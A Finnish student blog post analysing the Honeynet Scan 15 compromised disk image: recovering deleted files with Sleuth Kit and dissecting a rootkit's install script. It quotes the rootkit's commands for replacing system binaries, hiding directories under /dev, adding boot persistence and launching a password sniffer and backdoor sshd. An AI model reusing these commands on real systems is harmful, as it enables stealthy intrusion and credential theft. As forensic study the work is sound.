Linux palvelimena: palvelinmurron tutkintaa
Categories:
[school]
Tags:
[linux-server-course],
[security],
[pentesting]
22.1.2013 klo 17.39
Kotitehtävän tarkoituksena oli löytää saastuneen palvelimen juuriosiosta otetusta levykuvasta haittaohjelma se selvittää kuka sen on tehnyt ja mitä se tekee/on tehnyt palvelimelle. Tehtävänannon ja saastuneen levykuvan löydät täältä: http://old.honeynet.org/scans/scan15
Aloitin tehtävän käynnistämällä Xubuntun live-cd:n virtuaalikoneessa saastuneen levykuvan tutkimista varten. Määritin virtuaalikoneeseen seuraavanlaiset ominaisuudet:
Virtualisointiohjelmisto: VMWare Fusion 5.0.2
Prosessori: 1 ydin
Muisti: 1024 megatavua
Kovalevy: ei ole, buutataan live-imagelta
1 verkkokortti, NAT-moodissa
Asensin The Sleuth Kitin jotta pääsin tutkimaan ja palauttamaan tiedostoja saastuneelta levykuvalta komennolla:
sudo apt-get update | sudo apt-get install sleuthkit
Tämän jälkeen latasin saastuneen levykuvan tehtävänannon sivulta(http://old.honeynet.org/scans/scan15), purin sen ja siirryin juuri luotuun hakemistoon:
tar -xf honeypot.tar.gz
cd honeypot/
Tehtävässä mainittiin että haittaohjelma oli poistettu. Käytin Sleuthkitin tsk_recover-työkalua (Kiitokset Tero Karviselle tästä vinkistä) jotta saisin palautettua poistetut tiedostot levykuvalta:
tsk_recover honeypot.hda8.dd unallocated
Mounttasin levykuvan honeypot -hakemistoon tarkempaa tutkimista varten:
mkdir honeypot
sudo mount honeypot.hda8.dd honeypot/
Haittaohjelman löytäminen
22.1.2013 klo 18.22
Haittaohjelma löytyi suht helposti kun tiedettiin tehtävän kuvauksesta että se on poistettu. Tällöin voidaan olettaa, että jos tiedostoa ei ole ylikirjoitettu, se löytyy tsk_recover-komennon luomasta unallocated-hakemistosta palautettuna.
Kun siirryin unallocated-hakemistoon, löysin sieltä hyvinkin epäilyttävän näköisen tarball-paketin. Purin paketin ja BINGO, sieltähän ne pöpön tiedostot löytyivät:
tar -xf last.tgz
cd last
ls -l
Hakemistossa on “install”-skripti. Tarkastellaanpa lähemmin mitä se tekee:
Rootkin asennuskripti
Ensiksi skripti tyhjentää ruudun sekä poistaa HISTFILE-ympäristömuuttujan:
clear
unset HISTFILE
Sitten käydään läpi onko make, gcc-kääntäjä ja ssh-daemon asennettuna. Tämän jälkeen korvataan järjestelmän ohjelmia saastuneilla. Kaikki korvattavat ohjelmat ovat sellaisia mitkä voisivat näyttää rootkitin olemassaolon ja siksi rootkit vaihtaa ne piiloutuakseen järjestelmään:
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
Ylläoleva viimeinen rivi kopioi paketissa olleen mkxfs-ohjelman /usr/sbin-hakemistoon. Google osasi kertoa että kyseessä olisi jokin tiedostojärjestelmän luomisohjelma: http://www.fiveanddime.net/man-pages/mkxfs.8.html. Näin ei kuitenkaan ole tässä tapauksessa, vaan ohjelma vaikuttaisi olevan ssh-daemon uudelleennimettynä(Tämän sain selville vilkaisemalla lsattr-tiedostoa edempänä):
Tämän jälkeen skripti luo tiedoston /dev/rpm, johon se listaa ohjelmien nimiä. En tiedä miksi, mutta luulisin että siihen listautuu ohjelmat, jotka rootkit haluaa pitää piilossa näkyviltä. Se luo myös tiedoston /dev/last-johon kirjoitetaan numeroita, jotka vaikuttavat ip-osotteiden osilta ja osa prosessien PID-numeroilta.
Piilohakemistot /dev/ida/.drag-on ja “.. “
Skripti luo /dev/ida-hakemistoon hakemistot “drag-on” ja “.. “, jonne se kopioi samat tiedostot ja sen jälkeen poistaa alkuperäiset:
mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
cp linsniffer logclear sense sl2 mkxdfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxdfs s ssh_host_key ssh_random_seed /dev/ida/".. "
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log
Linsniffer on jonkinlainen salasanojenhaisteluohjelma, joka haistelee salasanoja verkkoliikenteestä. Tarkastellessani /dev/ida/.drag-on/tcp.log-tiedostoa tajusin sen olevan loki linsnifferistä, josta on suodatettu kaikki muu pois paitsi salasanat ja hostnamet:
logclear ja sense-ohjelmat ovat perl-skriptejä jotka hoitavat linsnifferin lokin suodattamisen ja siivoamisen. ssh-tiedostot ovat takaportin asettamista varten.
Skripti ylikirjoittaa /etc/inetd.conf ja /etc/services-tiedostot järjestelmässä asettaakseen oman pop3-palvelun:
Tämän jälkeen poistetaan /usr/bin/lsattr, lisätään /etc/rc.d/rc.sysinit-tiedostoon uusi rivi automaattista käynnistystä varten ja lopuksi kopioidaan rootkitin oma lsattr-tiedosto takaisin /usr/bin-hakemistoon:
rm -rf /usr/bin/lsattr
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
chattr +i /usr/bin/lsattr
/usr/bin/lsattr
sleep 1
Katsotaampa mitä lsattr-tiedosto sisältää:
#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /
lsattr siis ajetaan koneen käynnistyksessä. Skripti siirtyy /dev/ida/.drag-on-hakemistoon ja ajaa sieltä mkxfs ja linsnifferin. Mkxfs on todellisuudessa ssh-daemon, jota ajetaan s-tiedostosta haetuilla asetuksilla. Kun tarkastellaan mitä s-tiedostossa on, saadaan selville että mkxfs onkin ssh-daemon, jota ajetaan portissa 5:
last.cgi
lsattr-tiedoston tuunailun jälkeen skripti näyttää etsivän paikkaa last.cgi-tiedostolle. Tarkastellessani tiedostoa catilla sain selville sen olevan toinen takaportti järjestelmään komentojen antamista varten:
Tietojen keräys ja lähetys
Kun last.cgi-loopit on käyty läpi, skripti kerää tietokoneesta tietoa verkosta, raudasta ja konfiguraatiosta, se lähettää ne eteenpäin sähköpostitse kahteen osoitteeseen:
Lopuksi se siivoaa jälkensä ja poistaa last-hakemiston, tarballin ja computer-tiedoston.
Bonuskysymyksessä kysyttiin tehtäväannossa oliko haittaohjelma asennettuna järjestelmään. Vastaus on kyllä, koska:
- /dev/ida/.drag-on/ ja /dev/ida/”.. “-hakemistot on olemassa sisältöineen
- /dev/rpm ja /dev/last -tiedostot ovat olemassa asennuskriptin syöttämine sisältöineen
- /bin/ps, /bin/netstat ja /sbin/ifconfig-tiedostoissa on kaikissa sama päivämäärä eli 26.2.2001 ja koko kuin last-hakemiston vastaavissa tiedostoissa.
Lähteet
- Scan of the month 15 (http://old.honeynet.org/scans/scan15/)
- The Sleuth Kit (http://www.sleuthkit.org/sleuthkit/)
- Tero Karvinen: “Rosvoja ja kunnon kansalaisia” -luento
- Hacked by linsniffer & luckscan: http://tech.dir.groups.yahoo.com/group/redhat/message/5683